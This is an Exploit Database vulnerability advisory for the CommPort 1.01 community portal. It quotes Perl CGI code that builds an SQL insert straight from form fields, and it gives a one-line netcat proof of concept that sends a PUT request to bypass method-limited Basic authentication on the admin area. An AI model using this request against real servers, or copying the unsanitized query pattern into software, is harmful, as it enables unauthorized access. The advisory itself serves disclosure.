CommPort 1.01 – Multiple Vulnerabilities

Exploit Database
110 阅读

作者： Jean Pascal Pereira

日期： 2012-08-28
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/20871/

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CommPort 1.01 <= SQL Injection Vulnerability

--------------------------------------------

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"A 'Community Portal' generator that can be tailored for any location.

Each user gets a personal portal page to which they can add their own

'channels' or select from a growing list of pre-prepared local, national

and international content. This allows any individual to always have a page

of their own personal favourites in front of them. Channels may be either

'active' with continually updated content such as weather or news headlines

or 'passive' with collections of links."

Vendor URI: http://www.tc.ca/commport/

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Risk-level: High

The application is prone to a SQL injection vulnerability.

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signup.cgi, line 43:

$Method = $ENV{'REQUEST_METHOD'};

$PathInfo = $ENV{'PATH_INFO'};

$Query = new CGI;

if ($Method eq "POST") {

$UN = $Query->param("UN");

$PW1 = $Query->param("PW1");

$PW2 = $Query->param("PW2");

$EMail = $Query->param("EMail");

$FName = $Query->param("FName");

$LName = $Query->param("LName");

$Addr = $Query->param("Addr");

$City = $Query->param("City");

$Prov = $Query->param("Prov");

$PCode = $Query->param("PCode");

$Country = $Query->param("Country");

----------------------------------------------------

signup.cgi, line 226:

$cmd = "insert into User (un,pw,email,fname,lname,address,community,prov,postal,country,Joined) values "

."(\"${UN}\",\"${PWC}\",\"${EMail}\",\"${FName}\",\"${LName}\",\"${Addr}\",\"${City}\",\"${Prov}\",\"${PCode}\",\"${Country}\",now())";

$sth = $dbh->do($cmd) || &DumpError($sth->errstr);

----------------------------------------------------

Solution:

Do some input validation.

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CommPort 1.01 <= Authentication Bypass Vulnerability

----------------------------------------------------

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"A 'Community Portal' generator that can be tailored for any location.

Each user gets a personal portal page to which they can add their own

'channels' or select from a growing list of pre-prepared local, national

and international content. This allows any individual to always have a page

of their own personal favourites in front of them. Channels may be either

'active' with continually updated content such as weather or news headlines

or 'passive' with collections of links."

Vendor URI: http://www.tc.ca/commport/

----------------------------------------------------

Risk-level: Medium/High

The application is prone to an authentication bypass vulnerability.

----------------------------------------------------

/htdocs/cp/.htaccess:

AuthName "Community Portal"

AuthType Basic

AuthUserFile /home/piwcommport/auth/.commport

require valid-user

</limit>

ErrorDocument 401 /signup.cgi

----------------------------------------------------

/htdocs/cp/admin/.htaccess:

AuthName "Community Portal"

AuthType Basic

AuthUserFile /home/piwcommport/auth/.commport

require valid-user

</limit>

ErrorDocument 401 /signup.cgi

----------------------------------------------------

The application protects specific areas by using base authentication.

Since the authentication is limited to GET and POST, it can be bypassed

by using different or random request types.

----------------------------------------------------

Exploit / Proof Of Concept:

$ perl -e 'print "PUT /cp/admin/ HTTP/1.0\n\n"' | nc [TARGET] 80

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Solution:

Remove the LIMIT directive from any htaccess file stored in the project directory.

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